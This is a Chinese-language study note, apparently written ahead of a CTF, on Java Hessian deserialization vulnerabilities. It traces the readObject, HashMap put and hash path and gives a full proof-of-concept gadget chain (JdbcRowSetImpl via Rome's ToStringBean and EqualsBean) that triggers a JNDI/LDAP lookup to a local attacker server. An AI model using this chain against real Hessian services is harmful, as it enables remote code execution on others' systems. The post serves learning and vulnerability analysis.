前言
前几天的D^3CTF的一道题的常规解就是用Hessian打的,这里先学习一下关于Hessian的基础。
什么是Hessian
Hessian 是一个紧凑的二进制协议,用于在各种语言之间编码和传输数据,包括 Java。由Caucho Technology开发,Hessian 主要用于远程方法调用 (remote method invocation, RMI) 这样的分布式计算场景。它基于HTTP,易于使用而且效率很高,尤其是在对带宽要求较高或是对象序列化开销较大的环境中。
Hessian 的工作方式简单来说就是将数据对象序列化为字节流,然后通过网络发送;接收方再从字节流中反序列化出原始数据对象。Java 中的 Hessian 序列化通过 HessianOutput
类实现,Hessian 反序列化则通过 HessianInput
类实现。
基本使用
环境配置
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
|
测试代码
实体类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package com.natro92;
import java.io.Serializable;
public class Hacker implements Serializable { private String name; private int age;
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Hacker(String name, int age) { this.name = name; this.age = age; }
public void printInfo() { System.out.println("Name: " + name + ", Age: " + age); } }
|
Hessian自带的序列化和反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package com.natro92;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable;
public class HessianTest implements Serializable { public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static void main(String[] args) throws IOException { Hacker hacker = new Hacker("Natro92", 18); byte[] s = serialize(hacker); System.out.println((Hacker) deserialize(s)); } }
|
Java原生的序列化和反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.natro92;
import java.io.*;
public class JavaHessianTest implements Serializable { public static <T> byte[] serialize(T t) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(t); System.out.println(bao.toString()); return bao.toByteArray(); }
public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); ObjectInputStream ois =new ObjectInputStream(bai); return (T) ois.readObject(); }
public static void main(String[] args) throws IOException, ClassNotFoundException { Hacker hacker = new Hacker("Natro92", 18); byte[] s=serialize(hacker); System.out.println((Hacker) deserialize(s)); } }
|
能发现两段序列化出的文本长度不同。
Hessian反序列化漏洞分析
代码预览
漏洞出现在HessianInput#readObject
我们在前面运行得到的结果,能注意到开头有一个M(ASCII:77),这是因为Hessian序列化结果是一个Map。
因此在readObject
这里case进入M
处:
再进入ObjectInputStream#readMap
方法:
获取到Deserializer
进去getDeserializer
,在这里创建了一个HashMap
,并将key
放入:
我们发现了熟悉的put
方法,进去之后就能发现hash
方法
进去之后就是熟悉的HashMap#hashcode
方法:
这里我们分析下Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| package com.natro92;
import com.caucho.hessian.io.HessianInput; import com.caucho.hessian.io.HessianOutput; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap;
public class HackHessian implements Serializable {
public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static Object getValue(Object obj, String name) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); return field.get(obj); }
public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:4444/Exp"; jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap); System.out.println(s); System.out.println((HashMap)deserialize(s)); }
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; } }
|
我们在4444上起一个ldap服务:
运行代码成功执行:
断点分析
断在readObject
这里我们进去看看:
运行时弹出了两个计算器,这里有一个是序列化时弹得计算器。进去。
检测第一个字节是M
因此进行readMap
:
进入ReadMap
继续由于两个判断都是null,可以走到MapDeserializer
和_hashMapDeserializer.readMap(in)
,进入_hashMapDeserializer.readMap
。
这里创建一个新的HashMap
,作为一个临时缓存,将内容put进去。因为这里调用了两次的readObject
,所以会重复。
然后就到了put
这里。后面就是Rome。
进hash
再执行EqualsBean#hashcode
这里已经直接跳到EqualsBean
了。
再进就看到了目标函数,执行了任意类的toString
方法:
总结
这里暂时先到这里,发现这里用的Rome还没学,得先把那个看了,还好这里调用的比较简单,等看完那个再继续。